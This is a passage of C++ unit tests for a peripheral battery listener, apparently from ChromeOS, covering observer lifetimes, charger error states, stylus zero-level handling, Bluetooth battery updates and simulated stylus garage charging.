battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); // Reconnect observer, add and remove battery scoped_listener_obs.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(_)); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(AFIELD(&BI::key, Eq(kTestBatteryId)))); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); } // Check that observers only see events occuring while they are connected. TEST_F(PeripheralBatteryListenerTest, PartialObserverationLifetimeObeyed) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; testing::InSequence sequence; // Connect observer, add and remove battery. scoped_listener_obs.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock, OnAddingBattery(_)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(_)); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); // Disconnect observer before we remove battery. scoped_listener_obs.Reset(); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); // Reconnect battery. battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, true); // Reconnect observer, add and remove battery. EXPECT_CALL(listener_observer_mock, OnAddingBattery(_)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(_)); scoped_listener_obs.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(_)); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); } // Check that observers will get events to 'catch up' on batteries they missed. TEST_F(PeripheralBatteryListenerTest, PartialObserverationLifetimeCatchUp) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; testing::InSequence sequence; // Connect battery. battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryEventUpdate); EXPECT_CALL(listener_observer_mock, OnAddingBattery(_)); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(_)); scoped_listener_obs.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock, OnRemovingBattery(_)); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); } TEST_F(PeripheralBatteryListenerTest, MultipleObserverationLifetimeObeyed) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock_1; testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock_2; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs_1{&listener_observer_mock_1}; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs_2{&listener_observer_mock_2}; testing::InSequence sequence; scoped_listener_obs_1.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock_1, OnAddingBattery(_)); EXPECT_CALL(listener_observer_mock_1, OnUpdatedBatteryLevel(_)); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); EXPECT_CALL(listener_observer_mock_2, OnAddingBattery(_)); EXPECT_CALL(listener_observer_mock_2, OnUpdatedBatteryLevel(_)); scoped_listener_obs_2.Observe(battery_listener_.get()); EXPECT_CALL(listener_observer_mock_1, OnRemovingBattery(_)); EXPECT_CALL(listener_observer_mock_2, OnRemovingBattery(_)); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); scoped_listener_obs_1.Reset(); EXPECT_CALL(listener_observer_mock_2, OnAddingBattery(_)); EXPECT_CALL(listener_observer_mock_2, OnUpdatedBatteryLevel(_)); battery_listener_->PeripheralBatteryStatusReceived( kTestBatteryPath, kTestDeviceName, 5, kTestBatteryStatusIn, kBatteryPolledUpdate); EXPECT_CALL(listener_observer_mock_2, OnRemovingBattery(_)); battery_listener_->RemoveBluetoothBattery(kTestBatteryAddress); } TEST_F(PeripheralBatteryListenerTest, Charger) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestChargerId)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kTestChargerId)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging))))); battery_listener_->PeripheralBatteryStatusReceived( kTestChargerPath, kTestChargerName, 50, power_manager:: PeripheralBatteryStatus_ChargeStatus_CHARGE_STATUS_CHARGING, kBatteryEventUpdate); } TEST_F(PeripheralBatteryListenerTest, ChargerError) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestChargerId)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestChargerId)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kError))))); battery_listener_->PeripheralBatteryStatusReceived( kTestChargerPath, kTestChargerName, 50, power_manager::PeripheralBatteryStatus_ChargeStatus_CHARGE_STATUS_ERROR, kBatteryPolledUpdate); } TEST_F(PeripheralBatteryListenerTest, ChargerErrorTransition) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestChargerId)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestChargerId)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging))))); battery_listener_->PeripheralBatteryStatusReceived( kTestChargerPath, kTestChargerName, 50, power_manager:: PeripheralBatteryStatus_ChargeStatus_CHARGE_STATUS_CHARGING, kBatteryPolledUpdate); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestChargerId)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kError))))); battery_listener_->PeripheralBatteryStatusReceived( kTestChargerPath, kTestChargerName, 50, power_manager::PeripheralBatteryStatus_ChargeStatus_CHARGE_STATUS_ERROR, kBatteryEventUpdate); } // Stylus-via-screen updates of level zero should be translated to // nullopt as zero is not a valid level, but may come through during // boot or other device creation scenarios. TEST_F(PeripheralBatteryListenerTest, StylusDiscardsZeros) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); CreateExternalTouchscreen(); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut))))); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 0, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::level, Eq(50))))); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 50, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::level, Eq(absl::nullopt))))); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 0, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); } // Stylus-via-charger updates of level zero should translate to nullopt if // no value is known; otherwise they should be ignored as not providing // information. TEST_F(PeripheralBatteryListenerTest, StylusChargerDoesNullZeros) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestChargerId)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestChargerId)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(kTestBatteryStatusOut))))); battery_listener_->PeripheralBatteryStatusReceived( kTestChargerPath, kTestChargerName, 0, kTestBatteryStatusIn, kBatteryEventUpdate); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::level, Eq(50))))); battery_listener_->PeripheralBatteryStatusReceived( kTestChargerPath, kTestChargerName, 50, kTestBatteryStatusIn, kBatteryEventUpdate); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::level, Eq(50))))); battery_listener_->PeripheralBatteryStatusReceived( kTestChargerPath, kTestChargerName, 0, kTestBatteryStatusIn, kBatteryEventUpdate); } // Bluetooth/other HID updates of level zero should come through as expected, as // we don't know that 0 is invalid. TEST_F(PeripheralBatteryListenerTest, BluetoothDoesNotDiscardZeros) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; scoped_listener_obs.Observe(battery_listener_.get()); testing::InSequence sequence; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kBluetoothDeviceId1)))); EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kBluetoothDeviceId1)), AFIELD(&BI::level, Eq(0)), AFIELD(&BI::type, Eq(BI::PeripheralType::kOther)), AFIELD(&BI::name, Eq(kBluetoothDeviceName116)), AFIELD(&BI::bluetooth_address, Eq(kBluetoothDeviceAddress1))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/0); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf(AFIELD(&BI::level, Eq(5))))); battery_listener_->DeviceBatteryChanged(mock_adapter_.get(), mock_device_1_.get(), /*new_battery_percentage=*/5); } // Stylus garage charging TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, DoNotSynthesizeGarageCharger) { // Create touchscreen w/ stylus, w/o dockswitch // Verify Stylus Garage does not exist testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; testing::InSequence sequence; CreateInternalTouchscreen(false); ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 50, kTestStylusBatteryStatusDischargingIn, kBatteryPolledUpdate); } TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, DoSynthesizeGarageCharger) { // Create touchscreen w/ stylus, w/ dockswitch // Stylus is not garaged at start // Trigger touchscreen stylus update event // Verify Stylus Garage does exist testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; CreateInternalTouchscreen(true); ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); Expectation a = EXPECT_CALL( listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)))); Expectation b = EXPECT_CALL( listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::bluetooth_address, Eq(""))))) .After(a); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))) .After(b); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 50, kTestStylusBatteryStatusDischargingIn, kBatteryPolledUpdate); } TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, GarageCharging) { // Create touchscreen w/ stylus, w/ dockswitch // Stylus not in dock at beginning // Put stylus on charger, do not have it touch screen // Wait for it to come to a full charge testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; CreateInternalTouchscreen(true); ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); Sequence a, b; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))) .InSequence(b); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(b); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 50, kTestStylusBatteryStatusDischargingIn, kBatteryPolledUpdate); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(a, b); battery_listener_->OnStylusStateChanged(ui::StylusState::INSERTED); } TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, GarageChargesFully) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; CreateInternalTouchscreen(true); ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); Sequence a, b; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))) .InSequence(b); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(b); // This is a polled update, so it doesn't count as timely information battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 50, kTestStylusBatteryStatusDischargingIn, kBatteryPolledUpdate); // This will be called once the stylus is inserted, and called repeatedly // until the stylus is estimated to be fully charged. Since we started // without a known level for the stylus, the level will start from 1, counting // up to 99 until the charge is believed complete. EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Lt(100)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger))))) .Times(AnyNumber()) .InSequence(a, b); battery_listener_->OnStylusStateChanged(ui::StylusState::INSERTED); // Then we should have one update at 100% charge. EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(100)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kFull))))) .InSequence(a, b); // Move time forward more than enough to fully charge, ensuring timers fire. task_environment()->FastForwardBy( base::TimeDelta::FromSeconds(kFullGarageChargeTime)); } TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, GarageChargesFullyFromFiftyPercent) { testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; CreateInternalTouchscreen(true); ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); scoped_listener_obs.Observe(battery_listener_.get()); // Level 50 at time 100, listener should be notified. ClockAdvance(base::TimeDelta::FromSeconds(100)); Sequence a, b; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))) .InSequence(b); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(50)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(b); // This is an active update, so states that the stylus level is definitely // 50%. battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 50, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); // The rest of these are strictly sequential testing::InSequence sequence; // This will be called once the stylus is inserted, and called repeatedly // until the stylus is estimated to be fully charged. Since we started // with a known level for the stylus the level start there, indicating that // original level until the charge is complete. EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Ge(50)), AFIELD(&BI::level, Le(99)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger))))) .Times(AnyNumber()); battery_listener_->OnStylusStateChanged(ui::StylusState::INSERTED); // Then we should have one update at 100% charge. EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(100)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kFull))))); // Move time forward more than enough to fully charge, ensuring timers fire. task_environment()->FastForwardBy( base::TimeDelta::FromSeconds(kFullGarageChargeTime)); } TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, GarageChargingInterrupted) { // Create touchscreen w/ stylus, w/ dockswitch, w/o stylus in garage // Put stylus on in garage // Wait for it to start charging // Remove from charger // Ensure it stops charging testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; CreateInternalTouchscreen(true); ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); scoped_listener_obs.Observe(battery_listener_.get()); Sequence a, b; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))) .InSequence(b); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(1)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(b); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 1, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); ClockAdvance(base::TimeDelta::FromSeconds(100)); // The rest of these are strictly sequential testing::InSequence sequence; EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(1)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger))))) .Times(AnyNumber()); battery_listener_->OnStylusStateChanged(ui::StylusState::INSERTED); // Move time forward more than enough to start charging. task_environment()->FastForwardBy(base::TimeDelta::FromSeconds(3)); // Remove stylus from garage EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(1)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger))))); battery_listener_->OnStylusStateChanged(ui::StylusState::REMOVED); // Move time forward enough for anything to go wrong with the timers. task_environment()->FastForwardBy( base::TimeDelta::FromSeconds(kPartialGarageChargeTime)); } TEST_F(PeripheralBatteryListenerIncompleteDevicesTest, GarageChargingResumed) { // Create touchscreen w/ stylus, w/ dockswitch, w/o stylus in garage // Put stylus on in garage // Wait for it to start charging // Remove from charger // Replace on charger // Ensure it finishes charging testing::StrictMock<MockPeripheralBatteryObserver> listener_observer_mock; base::ScopedObservation<PeripheralBatteryListener, PeripheralBatteryListener::Observer> scoped_listener_obs{&listener_observer_mock}; CreateInternalTouchscreen(true); ui::DeviceDataManagerTestApi().OnDeviceListsComplete(); scoped_listener_obs.Observe(battery_listener_.get()); Sequence a, b; EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnAddingBattery(AFIELD(&BI::key, Eq(kTestStylusBatteryPath)))) .InSequence(b); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(absl::nullopt)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(a); EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kTestStylusBatteryPath)), AFIELD(&BI::level, Eq(1)), AFIELD(&BI::charge_status, Eq(kTestStylusBatteryStatusDischargingOut)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaScreen)), AFIELD(&BI::bluetooth_address, Eq(""))))) .InSequence(b); battery_listener_->PeripheralBatteryStatusReceived( kTestStylusBatteryPath, kTestStylusName, 1, kTestStylusBatteryStatusDischargingIn, kBatteryEventUpdate); ClockAdvance(base::TimeDelta::FromSeconds(100)); // The rest of these are strictly sequential testing::InSequence sequence; EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(1)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger))))) .Times(AnyNumber()); battery_listener_->OnStylusStateChanged(ui::StylusState::INSERTED); // Move time forward more than enough to start charging. task_environment()->FastForwardBy( base::TimeDelta::FromSeconds(kPartialGarageChargeTime)); // Remove stylus from garage EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(1)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kUnknown)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger))))); battery_listener_->OnStylusStateChanged(ui::StylusState::REMOVED); // Move time forward enough for anything to go wrong with the timers. task_environment()->FastForwardBy( base::TimeDelta::FromSeconds(kPartialGarageChargeTime)); // Replace stylus, let run to full charge. // The level at the start should be unchanged, it's still the last known // level and it won't update until charge is definitely complete. EXPECT_CALL( listener_observer_mock, OnUpdatedBatteryLevel( AllOf(AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(1)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kCharging)), AFIELD(&BI::type, Eq(BI::PeripheralType::kStylusViaCharger))))) .Times(AnyNumber()); // Then we should have one update at 100% charge. EXPECT_CALL(listener_observer_mock, OnUpdatedBatteryLevel(AllOf( AFIELD(&BI::key, Eq(kStylusChargerDeviceName)), AFIELD(&BI::level, Eq(100)), AFIELD(&BI::charge_status, Eq(BI::ChargeStatus::kFull))))); battery_listener_->OnStylusStateChanged(ui::StylusState::INSERTED); // Move time forward more than enough to fully charge. task_environment()->FastForwardBy( base::TimeDelta::FromSeconds(kFullGarageChargeTime)); } // NOTE: 